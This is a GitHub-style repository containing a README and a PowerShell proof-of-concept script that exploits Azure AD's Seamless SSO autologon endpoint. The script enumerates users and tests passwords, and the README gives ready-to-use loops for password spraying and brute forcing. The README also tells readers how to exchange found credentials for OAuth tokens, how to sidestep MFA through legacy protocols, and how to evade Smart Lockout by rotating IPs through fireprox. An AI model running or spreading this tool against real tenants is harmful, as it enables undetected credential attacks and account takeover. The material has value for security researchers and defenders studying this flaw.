├── README.md └── aad-sso-enum-brute-spray.ps1 /README.md: -------------------------------------------------------------------------------- 1 | # aad-sso-enum-brute-spray 2 | POC of SecureWorks' recent Azure Active Directory password brute-forcing vuln 3 | 4 | 5 | ## Description 6 | 7 | This code is a proof-of-concept of the recently revealed Azure Active Directory password brute-forcing vulnerability [announced by Secureworks](https://www.secureworks.com/research/undetected-azure-active-directory-brute-force-attacks) (here is the [Ars Technica article that preceded the official publication by about a day, but is pretty much identical](https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/)). 8 | 9 | In theory, this approach would allow one to perform brute force or password spraying attacks against one or more AAD accounts without causing account lockout or generating log data, thereby making the attack invisible. 10 | 11 | ## Use 12 | 13 | Basic usage is simple: 14 | 15 | ### Password spraying 16 | 17 | ``` 18 | .\aad-sso-enum-brute-spray.ps1 USERNAME PASSWORD 19 | ``` 20 | 21 | Calling the code in this way will allow you to get the result for the specified username and password. 22 | 23 | By taking advantage of foreach, you can easily leverage this for password spraying: 24 | 25 | ``` 26 | foreach($line in Get-Content .\all-m365-users.txt) {.\aad-sso-enum-brute-spray.ps1 $line Passw0rd! |Out-File -FilePath .\spray-results.txt -Append } 27 | ``` 28 | 29 | Note that using this method will require you to convert the resulting file from UTF-16 to UTF-8 if you want to work with it in Linux: 30 | 31 | ``` 32 | iconv -f UTF16 -t UTF-8 spray-results.txt >new-spray-results.txt 33 | ``` 34 | 35 | ### User enumeration 36 | 37 | If you're only interested in enumeration, just run as above for password spraying. Any return value of "bad password", or any value other than "no user", would mean you've found a valid username. 38 | 39 | A return of "True" for a username means the password supplied is valid. 40 | 41 | A return of "locked" may mean the account is locked, or that [Smart Lockout](https://docs.microsoft.com/en-us/azure/active-directory/authentication/howto-password-smart-lockout) is temporarily preventing you from interacting with the account. 42 | 43 | ### Brute forcing 44 | 45 | To leverage the code for brute forcing, simply iterate over the password field instead of the username field: 46 | 47 | ``` 48 | foreach($line in Get-Content .\passwords.txt) {.\aad-sso-enum-brute-spray.ps1 test.user@contoso.com $line |Out-File -FilePath .\brute-results.txt -Append } 49 | ``` 50 | 51 | ## What to do once you find a valid username/password pair 52 | 53 | If you discover one or more valid username/password pairs, you can modify this code to obtain the DesktopSSOToken that is returned. The DesktopSSOToken may then be exchanged for an OAuth2 Access Token [using this method](https://securecloud.blog/2019/12/26/reddit-thread-answer-azure-ad-autologon-endpoint/). 54 | 55 | The OAuth2 Access Token may then be used with various Azure, M365, and O365 API endpoints. 56 | 57 | You may, however, be tripped up by MFA at this point. Your best bet here would be to leverage non-MFA access, such as Outlook Web Access or ActiveSync. [Dafthack's MFASweep](https://github.com/dafthack/MFASweep) is helpful here. 58 | 59 | 60 | ## Important note 61 | Microsoft's Smart Lockout feature will start falsely claiming that accounts are locked if you hit the API endpoint too quickly from the same IP address. To get around this, I strongly recommend using [ustayready's fireprox](https://github.com/ustayready/fireprox) to avoid this problem. Simply change the $url variable thus: 62 | 63 | ``` 64 | $url="https://xxxxxxx.execute-api.us-east-1.amazonaws.com/fireprox/"+$requestid 65 | ``` 66 | 67 | This will not get around Smart Lockout if you're attempting to brute-force a password for a specific account, however. 68 | 69 | ## Thanks 70 | Almost all the code for this was borrowed from [Dr. Nestori Syynimaa's excellent AADInternals project](https://raw.githubusercontent.com/Gerenios/AADInternals/eade775c6cd4f8ed16bd77602e1ea12a02fe265e/KillChain_utils.ps1). 71 | -------------------------------------------------------------------------------- /aad-sso-enum-brute-spray.ps1: -------------------------------------------------------------------------------- 1 | $requestId = (New-Guid).ToString() 2 | 3 | $user = $Args[0] 4 | $domain = $user.Split("@")[1] 5 | $password = $Args[1] 6 | 7 | $now = Get-Date 8 | $created = $now.toUniversalTime().toString("o") 9 | $expires = $now.addMinutes(10).toUniversalTime().toString("o") 10 | 11 | $url = "https://autologon.microsoftazuread-sso.com/$domain/winauth/trust/2005/usernamemixed?client-request-id=$requestid" 12 | 13 | $body=@" 14 | 15 | 16 | 17 | http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue 18 | $url 19 | urn:uuid:$((New-Guid).ToString()) 20 | 21 | 22 | $created 23 | $expires 24 | 25 | 26 | $User 27 | $Password 28 | 29 | 30 | 31 | 32 | 33 | http://schemas.xmlsoap.org/ws/2005/02/trust/Issue 34 | 35 | 36 | urn:federation:MicrosoftOnline 37 | 38 | 39 | http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey 40 | 41 | 42 | 43 | "@ 44 | $exists = $false 45 | 46 | try 47 | { 48 | $response = Invoke-RestMethod -UseBasicParsing -Uri $url -Method Post -Body $body -ErrorAction SilentlyContinue 49 | $exists = $true # Very bad password 50 | } 51 | catch 52 | { 53 | $stream = $_.Exception.Response.GetResponseStream() 54 | $responseBytes = New-Object byte[] $stream.Length 55 | 56 | $stream.Position = 0 57 | $stream.Read($responseBytes,0,$stream.Length) | Out-Null 58 | 59 | $responseXml = [xml][text.encoding]::UTF8.GetString($responseBytes) 60 | 61 | $errorDetails = $responseXml.Envelope.Body.Fault.Detail.error.internalerror.text 62 | } 63 | 64 | # Parse the error code. Only AADSTS50034 would need to be checked but good to know other errors too. 65 | if(!$exists -and $errorDetails) 66 | { 67 | if($errorDetails.startsWith("AADSTS50053")) # The account is locked, you've tried to sign in too many times with an incorrect user ID or password. 68 | { 69 | $exists = "locked" 70 | } 71 | elseif($errorDetails.StartsWith("AADSTS50126")) # Error validating credentials due to invalid username or password. 72 | { 73 | $exists = "bad password" 74 | } 75 | elseif($errorDetails.StartsWith("AADSTS50056")) 76 | { 77 | $exists = "exists w/no password" 78 | } 79 | elseif($errorDetails.StartsWith("AADSTS50014")) 80 | { 81 | $exists = "exists, but max passthru auth time exceeded" 82 | } 83 | elseif($errorDetails.StartsWith("AADSTS50076")) # Due to a configuration change made by your administrator, or because you moved to a new location, you must use multi-factor authentication to access '{resource}' 84 | { 85 | $exists = "need mfa" 86 | } 87 | elseif($errorDetails.StartsWith("AADSTS700016")) # Application with identifier '{appIdentifier}' was not found in the directory '{tenantName}'. This can happen if the application has not been installed by the administrator of the tenant or consented to by any user in the tenant. You may have sent your authentication request to the wrong tenant. 88 | { 89 | $exists = "no app" 90 | } 91 | elseif($errorDetails.StartsWith("AADSTS50034")) # The user account {identifier} does not exist in the {tenant} directory. To sign into this application, the account must be added to the directory. 92 | { 93 | $exists = "no user" 94 | } 95 | else 96 | { 97 | Remove-Variable exists 98 | } 99 | } 100 | 101 | return $user+" "+$exists 102 | return $errorDetails 103 | 104 | --------------------------------------------------------------------------------